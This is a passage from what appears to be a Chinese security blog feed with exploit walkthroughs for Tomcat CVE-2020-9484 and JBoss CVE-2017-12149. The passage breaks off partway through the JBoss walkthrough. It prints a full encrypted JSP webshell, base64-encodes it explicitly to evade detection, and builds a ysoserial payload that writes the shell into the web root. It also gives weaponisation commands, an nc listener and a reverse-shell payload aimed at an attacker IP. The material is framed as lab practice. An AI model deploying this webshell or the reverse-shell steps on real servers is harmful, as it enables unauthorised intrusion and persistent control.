class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;&amp;lt;%&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Content-Length&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;InputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inputStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_num&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="n"&gt;inputStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;_num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;payload&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;payload&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getClassLoader&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;parameters&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;payload&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;newInstance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ByteArrayOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arrOut&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ByteArrayOutputStream&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrOut&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pageContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputStream&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arrOut&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toByteArray&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){}&lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将其编码为base64，这样就没有括号双引号等干扰，也可绕过一些检测。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;构造payload，&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;java -jar ysoserial-all.jar Groovy1 &lt;span class="s2"&gt;&amp;#34;echo PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0lPjwldHJ5e2J5dGVbXSBkYXRhPW5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQocmVxdWVzdC5nZXRIZWFkZXIoIkNvbnRlbnQtTGVuZ3RoIikpXTtqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtPSByZXF1ZXN0LmdldElucHV0U3RyZWFtKCk7aW50IF9udW09MDt3aGlsZSAoKF9udW0rPWlucHV0U3RyZWFtLnJlYWQoZGF0YSxfbnVtLGRhdGEubGVuZ3RoKSk8ZGF0YS5sZW5ndGgpO2RhdGE9eChkYXRhLCBmYWxzZSk7aWYgKHNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIik9PW51bGwpe3Nlc3Npb24uc2V0QXR0cmlidXRlKCJwYXlsb2FkIixuZXcgWCh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuUShkYXRhKSk7fWVsc2V7cmVxdWVzdC5zZXRBdHRyaWJ1dGUoInBhcmFtZXRlcnMiLCBkYXRhKTtPYmplY3QgZj0oKENsYXNzKXNlc3Npb24uZ2V0QXR0cmlidXRlKCJwYXlsb2FkIikpLm5ld0luc3RhbmNlKCk7amF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0PW5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXt9JT4= | base64 -d &amp;gt; /usr/local/tomcat/webapps/ROOT/passkeybase64d.jsp&amp;#34;&lt;/span&gt; &amp;gt; passkeybase64d.session
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意&lt;code&gt;/usr/local/tomcat/webapps/ROOT/&lt;/code&gt; 为本次演示靶机的tomcat运行目录，tomcat8080页面运行目录一般在&lt;code&gt;/webapps/ROOT/&lt;/code&gt;下，请注意路径可访问。演示时上传成功后不会执行，存在问题。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图11" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-16-57-09.png"&gt;&lt;/p&gt;
&lt;h3 id="武器化"&gt;武器化
&lt;/h3&gt;&lt;p&gt;在可以运行Java8的攻击机上运行以下命令，已经添加了代理访问Github快速。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /opt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git clone https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /opt/ysoserial &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; wget https://mirror.ghproxy.com/https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial-master.jar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /opt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git clone https://mirror.ghproxy.com/https://github.com/PenTestical/CVE-2020-9484 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2020-9484/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod +x CVE-2020-9484.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图13" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-20-33-40.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;vim CVE-2020-9484.sh &lt;span class="c1"&gt;# remote_ip=&amp;#34;10.10.15.108&amp;#34; 你的攻击机公网ip # change this&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -nvlp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 -m http.server &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./CVE-2020-9484.sh target-ip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个利用的是上传漏洞，要有上传页面，upload.jsp。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考链接&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.csdn.net/qq_40898302/article/details/124291764" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/qq_40898302/article/details/124291764&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.csdn.net/weixin_56306210/article/details/137669204" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/weixin_56306210/article/details/137669204&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.csdn.net/just_for_that_moment/article/details/125308103" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/just_for_that_moment/article/details/125308103&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.freebuf.com/sectool/394849.html" target="_blank" rel="noopener"
 &gt;https://www.freebuf.com/sectool/394849.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/frohoff/ysoserial" target="_blank" rel="noopener"
 &gt;https://github.com/frohoff/ysoserial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.secpulse.com/archives/163637.html" target="_blank" rel="noopener"
 &gt;https://www.secpulse.com/archives/163637.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/PenTestical/CVE-2020-9484" target="_blank" rel="noopener"
 &gt;https://github.com/PenTestical/CVE-2020-9484&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="样例目录session泄露"&gt;样例目录Session泄露
&lt;/h2&gt;&lt;p&gt;很鸡肋 &amp;lt;/examples/servlets/servlet/SessionExample&amp;gt; 目录下有session会话模板，可以利用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图14" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-26-13-58-44.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考链接&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a class="link" href="https://saucer-man.com/information_security/507.html" target="_blank" rel="noopener"
 &gt;https://saucer-man.com/information_security/507.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.csdn.net/qq_48985780/article/details/121421440" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/qq_48985780/article/details/121421440&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;</description></item><item><title>Jobss漏洞 CVE-2017-12149 CVE-2015-7501 CVE-2017-7504</title><link>https://ruajingjing.top/post/jobss%E6%BC%8F%E6%B4%9E-cve-2017-12149-cve-2015-7501-cve-2017-7504/</link><pubDate>Thu, 08 Aug 2024 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/jobss%E6%BC%8F%E6%B4%9E-cve-2017-12149-cve-2015-7501-cve-2017-7504/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Jobss漏洞 CVE-2017-12149 CVE-2015-7501 CVE-2017-7504" /&gt;&lt;h2 id="jboss-代码执行-cve-2017-12149"&gt;jboss 代码执行 (CVE-2017-12149)
&lt;/h2&gt;&lt;h3 id="影响范围"&gt;影响范围
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;JBoss 5.x/6.x
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="漏洞原理"&gt;漏洞原理
&lt;/h3&gt;&lt;p&gt;在/invoker/readonly路径下，攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测，导致攻击者可以执行任意代码
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中，其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致攻击者可以通过精心设计的序列化数据来执行任意代码&lt;/p&gt;
&lt;h3 id="漏洞复现"&gt;漏洞复现
&lt;/h3&gt;&lt;p&gt;&lt;img alt="图0" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-41-31.png"&gt;&lt;/p&gt;
&lt;p&gt;启动 &lt;a class="link" href="https://vulfocus.cn/" target="_blank" rel="noopener"
 &gt;https://vulfocus.cn/&lt;/a&gt; 靶场环境&lt;/p&gt;
&lt;p&gt;&lt;img alt="图1" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-42-27.png"&gt;&lt;/p&gt;
&lt;p&gt;访问 /invoker/readonly 如果返回500，说明此页面就可能存在反序列化漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图2" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-43-12.png"&gt;&lt;/p&gt;
&lt;h4 id="直接用cve工具利用"&gt;直接用CVE工具利用
&lt;/h4&gt;&lt;p&gt;&lt;img alt="图3" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-43-54.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图4" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-47-37.png"&gt;&lt;/p&gt;
&lt;p&gt;靶场 &lt;code&gt;flag-{bmh7cbffb27-ed9a-4c74-8929-0b6df905cc8a}&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="反弹shell的poc"&gt;反弹shell的POC
&lt;/h4&gt;&lt;p&gt;下载工具后进入目录&lt;a class="link" href="http://scan.javasec.cn/java/JavaDeserH2HC.zip" target="_blank" rel="noopener"
 &gt;http://scan.javasec.cn/java/JavaDeserH2HC.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;攻击机下载执行执行生成二进制payload文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;修改接收shell的IP和端口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图5" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-17-18-14.png"&gt;&lt;/p&gt;
&lt;p&gt;不要管报错&lt;/p&gt;
&lt;p&gt;NC开启监听：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -vv -l -p &lt;span class="m"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;向靶机发起攻击Payload：&lt;/p&gt;
